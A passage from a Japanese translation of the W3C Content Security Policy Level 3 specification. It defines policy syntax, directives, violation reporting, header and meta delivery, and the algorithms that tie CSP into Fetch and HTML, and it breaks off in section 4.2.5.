1. はじめに
このセクションは規範的ではありません。
本書は、開発者がさまざまな方法でアプリケーションをロックダウンし、クロスサイトスクリプティングなどのコンテンツインジェクション脆弱性のリスクを軽減し、アプリケーションの実行権限を低減するために利用できるツールであるコンテンツセキュリティポリシー(CSP)を定義します。
CSPはコンテンツインジェクション脆弱性への第一防御線として意図されていません。むしろCSPは多層防御(ディフェンスインデプス)として利用するのが最適です。悪意あるインジェクションによる被害を軽減しますが、慎重な入力検証や出力エンコーディングの代替ではありません。
本書はContent Security Policy Level 2からの発展版であり、CSP・HTML・Fetchの相互作用をより明確に説明しつつ、モジュール式拡張のためのフックを明確に提供することを目指しています。理想的には、これは新しい機能を構築するための安定したコアとなるはずです。
1.1. 例
1.1.1. 実行制御
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'
1.2. 目的
コンテンツセキュリティポリシーの目的は、以下の関連事項を達成することです:
-
開発者に対して、以下の項目についてきめ細かな制御を提供することで、コンテンツインジェクション攻撃のリスクを軽減する
-
悪意あるコンテキストでリソースを埋め込む必要がある攻撃(例: [TIMING]で説明される「Pixel Perfect」攻撃)のリスクを軽減するため、開発者にリソースを埋め込めるオリジンをきめ細かく制御できるようにする。
-
開発者がアプリケーションの権限を減らすためのポリシーフレームワークを提供する。
-
開発者が野生環境で悪用されている脆弱性を検知できるような報告機構を提供する。
1.3. レベル2からの変更点
本書はContent Security Policy Level 2仕様[CSP2]の進化版です。主な変更点の概要:
-
仕様は[FETCH] 仕様に基づき全面的に書き直されており、CSPの要件や制限を他仕様(特にService Worker)と統合しやすくなっています。
-
child-srcモデルが大幅に変更されました:-
CSP Level 2で非推奨となっていた
frame-srcディレクティブは非推奨が解除されましたが、引き続き未指定時はchild-src(さらにdefault-src)に委譲します。 -
worker-srcディレクティブが追加され、未指定時はchild-src(さらにscript-src、最終的にdefault-src)に委譲します。
-
-
URLマッチングアルゴリズムが、非セキュアなスキーム・ポートとそのセキュアな対応を同様に扱うようになりました。つまり、
http://example.com:80はhttp://example.com:80とhttps://example.com:443の両方に一致します。同様に、
'self'はページのスキームがhttpであってもhttps:やwss:のオリジンにも一致します。 -
インラインスクリプトやスタイルによる違反報告では、ブロックされたリソースとして"
inline"が報告されるようになりました。同様に、eval()の実行がブロックされた場合は"eval"が報告されます。 -
manifest-srcディレクティブが追加されました。 -
report-uriディレクティブは新しいreport-toディレクティブへ非推奨となりました。report-toは[REPORTING]を基盤としています。 -
'strict-dynamic'ソース式は、ページで実行されたスクリプトが非"parser-inserted"script要素を介して追加スクリプトをロードできるようになりました。詳細は§ 8.2 "'strict-dynamic'"の利用参照。 -
'unsafe-hashes'ソース式は、イベントハンドラ・スタイル属性・javascript:ナビゲーションターゲットに対するハッシュマッチを許可するようになりました。詳細は§ 8.3 "'unsafe-hashes'"の利用参照。 -
ソース式のマッチングは、HTTP(S)スキーム以外のスキームについては、ローカルスキームではなく、対象リソースのスキームが同じ場合のみ明示的記述が必要となりました。詳細は§ 6.7.2.8 origin・redirect count付きurlはexpressionに一致するか?参照。
-
ハッシュベースのソース式は、リクエストをトリガーした
script要素が現在のポリシーに記載された整合性メタデータを指定している場合、外部スクリプトにも一致するようになりました。詳細は§ 8.4 ハッシュによる外部JavaScript許可参照。 -
インライン違反の報告には、該当ディレクティブに
'report-sample'式が含まれていればsample属性が含まれるようになりました。
2. フレームワーク
2.1. 基盤
本書では、構文の定義にABNF文法を使用しています。ABNFの詳細は[RFC5234]で定義されています。また、
#rule ABNF拡張は
RFC9110 セクション5.6.1に従い使用しますが、
OWSは
optional-ascii-whitespaceに置き換えています。すなわち、
本書で使用する#ruleは以下のように定義されます:
1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )
n >= 1 かつ m > 1 の場合:
<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )
本書はアルゴリズムや本文で使う基礎概念にInfra Standardを依存しています [INFRA]。
以下の定義は本書の他の定義の可読性向上のために使用されます。
optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 ) required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 ) ; これらの生成規則はASCII空白文字の定義と一致します(INFRA標準参照)。
2.2. ポリシー
ポリシーは
許可・制限される挙動を定義し、Document、
WorkerGlobalScopeや
WorkletGlobalScope
に適用されます。
各ポリシーは、適用時の意味を定義するディレクティブの 順序付き集合である ディレクティブセットを持ちます。
各ポリシーは、"enforce"または"report"のいずれかである
ディスポジションを持ちます。
各ポリシーは、"header"または"meta"のいずれかである
ソースを持ちます。
単一のリソースには複数のポリシーを適用できます。CSPリストは、構造体であり、ポリシー(ポリシーのリスト)およびself-origin(オリジンで、
'self'キーワードの一致時に使用されます)から構成されます。
注: これは、'self'チェックを、
ローカルスキームのドキュメント/ワーカーで継承ポリシーを持つが
不透明オリジンの場合に対応するため必要です。通常は
環境設定オブジェクトのオリジンになることが多いです。
CSPリストは、ヘッダー配信型のコンテンツセキュリティポリシーを含む場合があります。これは、ポリシーが含むポリシーの
ソースが
"header"である場合です。
シリアライズ済みCSPは、 セミコロン区切りのシリアライズ済みディレクティブの連続で構成される ASCII文字列です。次のABNF文法に従います [RFC5234]:
serialized-policy =
serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )
シリアライズ済みCSPリストは、 カンマ区切りのシリアライズ済みCSPの連続で構成される ASCII文字列です。次のABNF文法に従います [RFC5234]:
serialized-policy-list = 1#serialized-policy
; '#'規則はRFC9110のセクション5.6.1で定義されているものですが、
; 本書2.1節で指定された修正を含みます。
2.2.1. シリアライズ済みCSPの解析
シリアライズ済みCSPを解析するには、バイト列または 文字列 serialized、ソース source、ディスポジション dispositionが与えられたとき、以下の手順を実行します。
このアルゴリズムはContent Security Policyオブジェクトを返します。serializedが 解析できなかった場合、オブジェクトのディレクティブセットは空になります。
-
policyを新しいポリシー(空のディレクティブセット、ソースはsource、ディスポジションはdisposition)とする。
-
各 tokenについて、厳密に serializedをU+003Bセミコロン(
;)で分割して:-
directive nameを、ASCII空白文字以外のコードポイントを tokenから収集した結果とする。
-
directive nameをASCII小文字化した結果に更新する。
注: ディレクティブ名は大文字・小文字を区別しません。 例:
script-SRC 'none'とScRiPt-sRc 'none'は等価です。 -
もしpolicyのディレクティブセットに ディレクティブが存在し、 その名前 がdirective nameなら、続行。
注: この場合、ユーザーエージェントは重複ディレクティブが無視されたことを開発者に通知するべきです。例えばコンソール警告など。
-
directive valueをtokenをASCII空白で分割した結果とする。
-
directiveを新しいディレクティブ(名前はdirective name、 値 はdirective value)とする。
-
policyのディレクティブセットにdirectiveを追加。
-
policyを返す。
2.2.2. responseのContent Security Policyを解析
responseのContent Security Policyを解析するには、response responseが与えられたとき、以下の手順を実行する。
このアルゴリズムはCSPリストを返します。 ポリシーが解析できない場合、返されるリストのポリシーは空になります。
-
policiesを空のリストとして初期化します。
-
それぞれtokenについて、ヘッダーリスト値の抽出で
Content-Security-Policyおよびresponseのヘッダーリストを入力とした結果を取得します:-
policyを 解析したtokenの結果とし、 ソースは"
header"、 dispositionは"enforce"とします。 -
policyのディレクティブセットが空でない場合、 policyをpoliciesに追加します。
-
-
それぞれtokenについて、ヘッダーリスト値の抽出で
Content-Security-Policy-Report-Onlyおよびresponseのヘッダーリストを入力とした結果を取得します:-
policyを 解析したtokenの結果とし、 ソースは"
header"、 dispositionは"report"とします。 -
policyのディレクティブセットが空でない場合、 policyをpoliciesに追加します。
-
-
CSPリストを返します。 そのポリシー はpoliciesであり、 self-originはresponseのurlのオリジンとなります。
注: responseのContent Security Policyを解析した結果、policiesが1つ以上含まれる場合、ユーザーエージェントはpoliciesにフラグを保持し、contains a header-delivered Content Security Policyアルゴリズムを省略する最適化に利用できる。
2.3. ディレクティブ
各ポリシーは、順序付き集合のディレクティブ(自身の ディレクティブセット)を含み、それぞれが特定の動作を制御します。本書で定義されているディレクティブは § 6 コンテンツセキュリティポリシーのディレクティブ で詳しく説明されています。
各ディレクティブは、名前 / 値のペアです。名前は 空でない文字列、値は空でない文字列の集合です。 値は空でも構いません。
シリアル化ディレクティブは、1つ以上の空白区切りトークンからなるASCII文字列であり、以下のABNF [RFC5234]に従います:
serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
directive-name = 1*( ALPHA / DIGIT / "-" )
directive-value = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
; ディレクティブ値には空白やVCHAR文字を含めることができます。
; ";"と","は除きます。定義の後半部分は
; ";"と","(それぞれ %x3B, %x2C)を除いた全てのVCHAR文字 (%x21-%x7E) を表します。
; ALPHA, DIGIT, およびVCHARはRFC 5234のAppendix B.1で定義されています。
ディレクティブには、いくつかの関連アルゴリズムがあります:
-
事前リクエストチェック。これはリクエスト、ポリシー、オリジン を引数に取り、§ 4.1.2 リクエストはCSPでブロックされるべきか?の実行の際に使用されます。特に指定がない限りこのアルゴリズムは"
Allowed"を返します。 -
事後リクエストチェック。これはリクエスト、レスポンス、ポリシー、オリジンを引数に取り、 § 4.1.3 リクエストのレスポンスはCSPでブロックされるべきか?の実行の際に使用されます。特に指定がない限り、このアルゴリズムは"
Allowed"を返します。 -
インラインチェック。これは
Element、 型文字列、ポリシー、ソース文字列を引数に取り、§ 4.2.3 要素のインライン型動作はCSPでブロックされるべきか?や § 4.2.4 ナビゲーションリクエストの型はCSPでブロックされるべきか?でjavascript:リクエスト時に実行されます。特に指定がない限りこのアルゴリズムは"Allowed"を返します。 -
初期化。これは
Documentまたはグローバルオブジェクト、ポリシーを引数として実行されます。これは§ 4.2.1 DocumentのCSP初期化の実行や § 4.2.6 グローバルオブジェクトのCSP初期化の実行で使われます。特に指定がない限り何の影響も与えず"Allowed"を返します。 -
事前ナビゲーションチェック。これはリクエスト、ナビゲーション型文字列 ("
form-submission"または"other")、ポリシー、オリジン を引数に取り、 § 4.2.4 ナビゲーションリクエストの型はCSPでブロックされるべきか?の実行時に使用されます。特に指定がない限り"Allowed"を返します。 -
ナビゲーションレスポンスチェック。これは リクエスト、ナビゲーション型文字列 ("
form-submission"または"other")、レスポンス、ナビゲーブル、チェック型文字列 ("source"または"response")、ポリシー、オリジンを引数に取り、 § 4.2.5 ナビゲーションリクエストの型へのナビゲーションレスポンスはCSPでブロックされるべきか?の実行時に使用されます。特に指定がない限り"Allowed"を返します。 -
WebRTC接続前チェック。これはポリシーを引数に取り、 § 4.3.1 グローバルでRTC接続をブロックするべきか?の実行時に使用されます。特に指定がない限り"
Allowed"を返します。
2.3.1. ソースリスト
多くのディレクティブの値はソースリスト(集合型の文字列)であり、取得・埋め込み・実行できるコンテンツを識別する。各文字列は以下いずれかのソース式を表す:
-
シリアライズ済みURL(例:
https://example.com/path/to/file.jsは特定ファイルに一致、https://example.com/はオリジン全体に一致) -
スキーム(例:
https:は指定スキームのリソースすべてに一致) -
example.comのようなホスト(スキームに関係なく、そのホストのどのリソースにも一致します)、または*.example.comのようなホスト(そのホストのサブドメイン、およびさらにそのサブドメインのサブドメインなど、どのリソースにも一致します) -
ノンス(例:
'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'はページ上の特定要素に一致) -
ダイジェスト(例:
'sha256-abcd...'はページ上の特定要素に一致)
シリアライズ済みソースリストは、 空白区切りで連続するソース式からなるASCII文字列で、以下のABNF文法に従う [RFC5234]:
serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression = scheme-source / host-source / keyword-source
/ nonce-source / hash-source
; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"
; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
; scheme is defined in section 3.1 of RFC 3986.
host-part = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char = ALPHA / DIGIT / "-"
port-part = 1*DIGIT / "*"
path-part = path-absolute (but not including ";" or ",")
; path-absolute is defined in section 3.3 of RFC 3986.
; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
/ "'strict-dynamic'" / "'unsafe-hashes'"
/ "'report-sample'" / "'unsafe-allow-redirects'"
/ "'wasm-unsafe-eval'" / "'trusted-types-eval'"
/ "'report-sha256'" / "'report-sha384'"
/ "'report-sha512'" / "'unsafe-webtransport-hashes'"
ISSUE: Bikeshed unsafe-allow-redirects.
; Nonces: 'nonce-[nonce goes here]'
nonce-source = "'nonce-" base64-value "'"
base64-value = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )
; Digests: 'sha256-[digest goes here]'
hash-source = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"
host-char生成規則は意図的にASCII文字のみを含みます。国際化ドメイン名はシリアライズ済みCSPに直接入力できず、Punycodeエンコードが必須です [RFC3492]。例:üüüüüü.deはxn--tdaaaaaa.deで記述しなければなりません。
注:
IPアドレスは上記文法に一致するが、実際にURL一致するのは127.0.0.1のみ(詳細は§ 6.7.2.7
origin・redirect count付きurlはsource listに一致するか?参照)。IPアドレスのセキュリティ特性は疑わしいため、著者は可能な限りホスト名を利用するべきである。
注: base64-value文法はbase64およびbase64urlエンコーディング両方を許容する。これらはhash-source値の処理時は同等に扱われる。ノンスは厳密な文字列一致のみ:base64-value文法で許可文字を制限し、サーバー運用者の負担(エンコーディング等)を減らすが、ユーザーエージェントは値の解釈やデコードは一切行わない。
2.4. 違反
違反は、ポリシーオブジェクト群に対して グローバルオブジェクトで行われた動作やリソースが規則に反することを表します。
各違反には グローバルオブジェクトがあり、 グローバルオブジェクトの ポリシーが違反されたものです。
各違反にはURLがあり、
これはグローバルオブジェクトのURLです。
各違反には ステータスがあります。これは グローバルオブジェクトが生成されたリソースの HTTP ステータスコードを表す非負整数です。
各違反には
リソースがあります。
これは null、"inline"、"eval"、"wasm-eval"、
"trusted-types-policy"、"trusted-types-sink" または URL
のいずれかです。
ポリシーに違反したリソースを表します。
注: 違反のリソースが null なのは違反が作成中のときのみ許容されます。
違反が報告され リソースが
ブロックされたURI取得に使われる時点では、
違反のリソースには
URL
か許容された文字列が格納されている必要があります。
各違反には
リファラーがあります。これは
null か URL
です。
違反したリソースのリファラーを表します。
各違反には ディスポジションがあり、 違反されたディスポジション(ポリシーのディスポジション)です。
各違反には 有効ディレクティブがあります。 これは違反を引き起こしたディレクティブを表す空でない文字列です。
各違反には
ソースファイルがあり、
null または URLです。
各違反には 行番号があり、 非負整数です。
各違反には 列番号があり、 非負整数です。
各違反には 要素があり、 null または要素です。
各違反にはサンプルがあります。 これは文字列です。指定がなければ空文字列となります。
注: 違反のサンプルには、違反を引き起こしたインラインスクリプト、イベントハンドラ、またはスタイルの先頭40文字が格納されます。外部ファイル由来の違反は、違反レポートにサンプルを含めません。
2.4.1. global、policy、directiveのために違反オブジェクトを作成する
グローバルオブジェクトのglobal、ポリシーのpolicy、そして 文字列 directiveが与えられたとき、以下のアルゴリズムは新しい違反 オブジェクトを作成し、初期データで埋めます:
-
violationを新しい違反として作成する。そのグローバルオブジェクトはglobal、ポリシーはpolicy、有効ディレクティブはdirective、そして リソースはnullとする。
-
ユーザーエージェントが現在スクリプトを実行中であり、globalからソースファイルのURL、行番号、列番号を抽出できる場合、violationのソースファイル、行番号、および列番号を適切に設定する。
このような仕様はどこかにありますか?[ECMA262]には有用なものは見当たりませんでした。
注: ユーザーエージェントはソースファイルがページに要求されたURL(リダイレクト前)であることを保証する必要があります。それが不可能な場合は、意図しない漏洩を避けるためにURLをオリジンまで短縮する必要があります。
-
globalが
Windowオブジェクトである場合、violationのリファラーをglobalのdocumentのreferrerに設定する。 -
violationのステータスを、violationのグローバルオブジェクトに関連付けられたリソースのHTTPステータスコードに設定する。
-
violationを返す。
2.4.2. requestおよびpolicyのために違反オブジェクトを作成する
リクエストのrequest、ポリシーのpolicyが与えられたとき、 以下のアルゴリズムは新しい違反オブジェクトを作成し、初期データで埋めます:
-
directiveを、§ 6.8.1 リクエストの有効ディレクティブを取得する をrequestに対して実行した結果とする。
-
violationを、§ 2.4.1 global、policy、directiveのために違反オブジェクトを作成するをrequestのclientのグローバルオブジェクト、policy、directiveに対して実行した結果とする。
-
violationのリソースをrequestのurlに設定する。
注: requestのurlを利用し、current urlは使用しません。current urlにはページがアクセスしてはならないリダイレクト先の情報が含まれている可能性があるためです。
-
violationを返す。
3. ポリシーの配信
サーバーは特定のポリシーを、リソース表現ごとに、値が直列化CSPであるHTTPレスポンスヘッダーフィールドを通じて宣言してもよい(MAY)。このメカニズムの詳細は、§ 3.1 Content-Security-Policy HTTPレスポンスヘッダーフィールドおよび§ 3.2 Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールドで定義されており、FetchやHTMLとの統合については§ 4.1 Fetchとの統合と§ 4.2 HTMLとの統合で説明されている。
ポリシーは、HTML文書の
meta
要素の
http-equiv
属性を使ってインラインで宣言することもできます。詳細は
§ 3.3 <meta>要素
を参照してください。
3.1.
Content-Security-Policy HTTPレスポンスヘッダーフィールド
Content-Security-Policy
HTTPレスポンスヘッダーフィールドは、サーバーからクライアントへポリシーを配信するための推奨メカニズムです。ヘッダーの値は以下のABNFで表現されます [RFC5234]:
Content-Security-Policy = 1#serialized-policy
; '#'ルールはRFC 9110の5.6.1節で定義されています
; ただし本書2.1節で指定された修正が加えられています
Content-Security-Policy: script-src 'self'; report-to csp-reporting-endpoint
サーバーは同じリソースの表現ごとに、異なるContent-Security-Policyヘッダーフィールド値を送信してもよい(MAY)。
ユーザーエージェントがContent-Security-Policyヘッダーフィールドを受信した場合、含まれる各直列化CSPを構文解析し、適用しなければならない(MUST)。詳細は§ 4.1
Fetchとの統合、
§ 4.2 HTMLとの統合を参照。
3.2.
Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールド
Content-Security-Policy-Report-Only
HTTPレスポンスヘッダーフィールドは、ウェブ開発者がポリシーの効果を監視(適用はせず)して実験することを可能にします。ヘッダーの値は次のABNFで表現されます
[RFC5234]:
Content-Security-Policy-Report-Only = 1#serialized-policy
; '#'ルールはRFC 9110の5.6.1節で定義されています
; ただし本書2.1節で指定された修正が加えられています
このヘッダーフィールドにより、開発者はセキュリティポリシーを段階的に構築できます。最初はサイトの挙動を推定してレポート専用ポリシーをデプロイし、違反レポートを監視し、十分な信頼を得たら適用ポリシーへ移行します。
Content-Security-Policy-Report-Only: script-src 'self'; report-to csp-reporting-endpoint
サーバーは同じリソースの表現ごとに、異なるContent-Security-Policy-Report-Onlyヘッダーフィールド値を送信してもよい(MAY)。
ユーザーエージェントがContent-Security-Policy-Report-Onlyヘッダーフィールドを受信した場合、含まれる各直列化CSPを構文解析し、監視しなければならない(MUST)。詳細は§ 4.1
Fetchとの統合および§ 4.2 HTMLとの統合を参照。
注: Content-Security-Policy-Report-Only
ヘッダーは
meta要素内ではサポートされていません。
meta
要素内では使用できません。
3.3.
<meta>要素
Document
は、1つ以上のHTML
meta
要素を通じてポリシーを配信できます。
これらの
http-equiv
属性が、文字列"Content-Security-Policy"とASCII大文字・小文字を区別しない一致であれば認識されます。例:
実装の詳細はHTMLのContent Security Policy state
http-equiv処理規則 [HTML] を参照。
注: Content-Security-Policy-Report-Only
ヘッダーは
meta要素内ではサポートされていません。また、report-uri、frame-ancestors、sandboxディレクティブもサポートされません。
著者は強く推奨されます、
meta
要素を文書のなるべく早い位置に配置することを。
meta
要素によるポリシーは、それより前の内容には適用されないためです。特に、Link HTTPレスポンスヘッダーで取得・プリフェッチされたリソースや、
link
および
script
要素で取得・プリフェッチされたリソースが、meta配信ポリシーより前であればブロックされません。
注:
meta
要素で指定されたポリシーは、保護対象リソースに有効な他のポリシーとともに強制されます。記述場所に関わらず有効です。複数ポリシー強制の一般的影響は§ 8.1 複数ポリシーの効果で説明しています。
4. 統合
この節は規範的ではありません。
本書は他の仕様で機能を実装するために利用される一連のアルゴリズムを定義します。これらの統合は説明のためにここで概説されていますが、詳細な情報については外部文書が規範的参照元となるため、それらを参照する必要があります。
4.1. Fetchとの統合
複数のディレクティブが、さまざまな方法でリソースのロードを制御します。本仕様はFetchが特定のリクエストをブロックすべきか許可すべきか判断し、特定のレスポンスをネットワークエラーに置き換えるべきかどうかを決定するためのアルゴリズムを提供します。
-
§ 4.1.2 Content Security Policyでリクエストをブロックすべきか?は、Main Fetchアルゴリズムのステップ2.4の一部として呼び出されます。これにより、ディレクティブの事前リクエストチェックが各リクエストがネットワークに到達する前、およびリソースに到達するまでのリダイレクトにも実行できます。
-
§ 4.1.3 Content Security Policyでリクエストのレスポンスをブロックすべきか?は、Main Fetchアルゴリズムのステップ11の一部として呼び出されます。これにより、ディレクティブの事後リクエストチェックがネットワークまたはService Workerから返されたレスポンスに対して実行されます。
4.1.1. requestに対するContent Security Policy違反を報告する
リクエスト requestが与えられたとき、このアルゴリズムはポリシーコンテナのCSPリストに含まれる「report only」ポリシーに基づいて違反を報告します。
-
-
policyのディスポジションが"
enforce"の場合、次のpolicyへ進む。 -
violatesを、request、policy、 CSPリストのself-originを引数にして § 6.7.2.1 リクエストがポリシー違反しているか? を実行した結果とする。
-
violatesが"
Does Not Violate"でない場合、 § 2.4.2 リクエストとポリシーの違反オブジェクト作成でrequestとpolicyを渡して生成した結果に対して § 5.5 違反レポートを実行する。
-
4.1.2. requestはContent Security Policyでブロックされるべきか?
リクエスト
requestが与えられたとき、このアルゴリズムはBlockedまたはAllowedを返し、
requestのポリシーコンテナのCSPリストに基づいて違反を報告します。
-
resultを"
Allowed"とする。 -
-
policyのディスポジションが"
report"の場合、次のpolicyへ進む。 -
violatesをrequest、policy、 CSPリストのself-originを引数として § 6.7.2.1 リクエストがポリシー違反しているか? を実行した結果とする。
-
violatesが"
Does Not Violate"でない場合:-
§ 2.4.2 リクエストとポリシーの違反オブジェクト作成 でrequestとpolicyを使って生成した結果に対して§ 5.5 違反を報告を実行する。
-
resultを"
Blocked"に設定する。
-
-
-
resultを返す。
4.1.3. requestへのresponseはContent Security Policyでブロックされるべきか?
レスポンス responseとリクエスト
requestが与えられたとき、このアルゴリズムはBlockedまたはAllowedを返し、
requestのポリシーコンテナのCSPリストに基づいて違反を報告します。
-
resultを"
Allowed"とする。 -
-
それぞれ policyのdirectiveについて:
-
directiveの事後リクエストチェックを request、response、 policy、CSPリストのself-originを引数に実行した結果が "
Blocked"であれば:-
§ 2.4.2 リクエストと ポリシーの違反オブジェクト作成でrequestとpolicyを渡して生成した結果に § 5.5 違反を報告を実行する。
-
policyのディスポジションが "
enforce"ならresultを"Blocked"に設定する。
-
-
注: このチェック部分は ページがレスポンスを読み込めることを確認します。つまり、 Service WorkerがページのCSPに違反するファイルを置き換えていないかを確認します。
-
-
resultを返す。
4.1.4. ハッシュを報告する可能性
レスポンス response、リクエスト request、ディレクティブ directive、Content Security Policyオブジェクト policyが与えられたとき、以下の手順を実行する:
-
algorithmを空の文字列とする。
-
directiveの値が"
'report-sha256'"を含むなら、algorithmを"sha256"に設定する。 -
directiveの値が"
'report-sha384'"を含むなら、algorithmを"sha384"に設定する。 -
directiveの値が"
'report-sha512'"を含むなら、algorithmを"sha512"に設定する。 -
algorithmが空の文字列なら、return。
-
hashを空の文字列とする。
-
responseがCORS-same-originなら:
-
hをapply algorithm to bytesをresponseのbodyとalgorithmに対して実行した結果とする。
-
hashをalgorithm、U+2D(-)、hの連結とする。
-
-
globalをrequestのclientのグローバルオブジェクトとする。
-
globalが
Windowでない場合、return。 -
stripped document URLを§ 5.4 レポート用途のURLを除去するをglobalのdocumentのURLに対して実行した結果とする。
-
policyのディレクティブセットに"report-to"というディレクティブが含まれないなら、return。
-
report-to directiveをpolicyのディレクティブセットから"report-to"というディレクティブとして取得する。
-
bodyをcsp hash report bodyとして作成し、stripped document URLをdocumentURL、requestのURLをsubresourceURL、hashをhash、requestのdestinationをdestination、"subresource"をtypeとする。
-
Generate and queue a reportを次の引数で実行する:
- context
-
settings object
- type
-
"csp-hash"
- destination
-
report-to directiveの値。
- data
-
body
4.2. HTMLとの統合
-
ポリシーコンテナにはCSPリストがあり、 指定されたコンテキストで有効なすべてのポリシーオブジェクトを保持します。 このリストは特に指定がない限り空であり、 レスポンスから 解析 によってレスポンスのコンテンツセキュリティポリシーが追加されるか、 ポリシーコンテナの規則に従い継承して設定されます。
-
グローバルオブジェクトのCSPリストは、 § 4.2.2 オブジェクトのCSPリスト取得 をグローバルオブジェクトを
objectとして渡し実行した結果です。 -
ポリシーは、強制または監視として、 グローバルオブジェクトの CSPリストに挿入することで有効になります。
-
§ 4.2.1 DocumentのCSP初期化は、 新しい
Documentオブジェクト作成・初期化 アルゴリズムで呼び出されます。 -
§ 4.2.3 要素のインライン型動作はCSPでブロックされるべきか?は、 スクリプト要素の準備や styleブロックの更新 アルゴリズム内で、 インラインスクリプトやstyleブロックの実行・描画許可を判断するために呼び出されます。
-
§ 4.2.3 要素のインライン型動作はCSPでブロックされるべきか?は、 インラインイベントハンドラ(例:
onclick)やインラインstyle属性の処理時にも実行され、 これらの実行・描画許可を判断します。 -
ポリシーは 強制 として
meta要素のhttp-equiv属性処理時に適用されます。 -
HTMLは各リクエストの暗号学的nonceメタデータや パーサーメタデータを、 リソース読込を担当する要素の情報で構成します。
スタイルシート読込はWHATWGのHTMLでまだFetchと統合されていません。 [whatwg/html Issue #968]
-
§ 6.3.1.1 documentでbaseが許可されているか?は、
base要素の 固定base URL設定 アルゴリズムで、href属性値の妥当性を保証するために呼び出されます。 -
§ 4.2.4 ナビゲーションリクエストの型はCSPでブロックされるべきか?は fetchによるナビゲーションパラメータ作成 アルゴリズム内で呼び出されます。 § 4.2.5 ナビゲーションリクエストの型でターゲット内のナビゲーションレスポンスはCSPでブロックされるべきか? は、 履歴エントリのdocumentを生成しようとする アルゴリズムで、ディレクティブのナビゲーションチェックや
javascript:URLへのナビゲーション時のインラインチェックに使われます。 -
§ 4.2.6 グローバルオブジェクトのCSP初期化は、 workerの実行 アルゴリズムで呼び出されます。
-
sandboxディレクティブは CSP由来のサンドボックスフラグ を構成するのに使用されます。
4.2.1.
DocumentのためにCSP初期化を実行する
Document
documentが与えられたとき、ユーザーエージェントはdocumentのCSPを初期化するために以下の手順を実行します:
4.2.2. objectのCSPリストを取得する
objectのCSPリストを取得するには:
-
objectが
Window、WorkerGlobalScopeまたはWorkletGlobalScopeなら、環境設定オブジェクトのポリシーコンテナのCSPリストを返す。 -
nullを返す。
4.2.3. element のインライン type 挙動はContent Security Policyでブロックされるべきか?
Element
element、文字列 type、文字列 source
が与えられた場合、このアルゴリズムは要素が特定の型のインライン定義(スクリプト実行、スタイル適用、イベントハンドラ等)を許可されているなら "Allowed" を、そうでなければ
"Blocked" を返します:
注: type の有効な値は
"script"、"script attribute"、"style"、"style attribute"
です。
-
Assert: element は null ではない。
-
result を "
Allowed" とする。 -
それぞれ element の
Documentの グローバルオブジェクト の CSPリスト の ポリシーの policy について:-
それぞれ policy の ディレクティブセットの directive について:
-
directive の インラインチェック を element・type・policy・source で実行し、結果が "
Allowed" なら、次の directive へ進む。 -
directive-name を § 6.8.2 インラインチェックで有効なディレクティブ取得 を type で実行した結果とする。
-
そうでなければ violation を § 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成 を 現在の設定オブジェクトの グローバルオブジェクト・policy・directive-name で実行した結果とする。
-
violation の リソース を "
inline" に設定する。 -
violation の 要素 を element に設定する。
-
directive の 値 が 表現 "
'report-sample'" を 含む場合、 violation の サンプル を source の先頭40文字の部分文字列に設定する。 -
§ 5.5 違反報告 を violation で実行する。
-
policy の ディスポジション が "
enforce" なら、 result を "Blocked" に設定する。
-
-
-
result を返す。
4.2.4. navigation request の type はContent Security Policyでブロックされるべきか?
リクエスト navigation request と文字列 type
("form-submission" または "other")が与えられた場合、このアルゴリズムは有効なポリシーがナビゲーションをブロックする場合
"Blocked" を、そうでなければ "Allowed" を返します:
-
result を "
Allowed" とする。 -
-
それぞれ policyのdirectiveについて:
-
directive の 事前ナビゲーションチェックを navigation request・type・policy・CSPリストのself-origin で実行し、結果が"
Allowed"なら、次の directive へ進む。 -
そうでなければ violation を § 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成 を navigation request の クライアントのグローバルオブジェクト・ policy・directiveの名前で実行した結果とする。
-
§ 5.5 違反報告 を violation で実行する。
-
policy の ディスポジション が "
enforce" なら、 result を "Blocked" に設定する。
-
-
-
result が "
Allowed" かつ navigation request の current URL の スキーム がjavascriptの場合:-
それぞれ navigation request の ポリシーコンテナ の CSPリスト の ポリシーの policy について:
-
それぞれ policy の directive について:
-
directive-name を § 6.8.2 インラインチェックで有効なディレクティブ取得 を "
navigation" で実行した結果とする。 -
directive の インラインチェックを null, "
navigation", policy、navigation request の current URL で実行し、結果が "Allowed" なら次の directive へ進む。 -
そうでなければ violation を § 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成 を navigation request の クライアント の グローバルオブジェクト・ policy・directive-name で実行した結果とする。
-
violation の リソース を "
inline" に設定する。 -
§ 5.5 違反報告 を violation で実行する。
-
policy の ディスポジション が "
enforce" なら、 result を "Blocked" に設定する。
-
-
-
-
result を返す。
4.2.5. navigation request の type・target への navigation response はContent Security Policyでブロックされるべきか?
リクエスト navigation request、レスポンス
navigation response、CSPリスト
response CSP list、文字列 type("form-submission" または
"other")、ナビゲーブル target を与えると、
このアルゴリズムは、アクティブなポリシーがナビゲーションをブロックした場合は"Blocked"、そうでなければ"Allowed"を返します。
-
result を "
Allowed" とする。 -
それぞれ response CSP list の ポリシー の policy について:
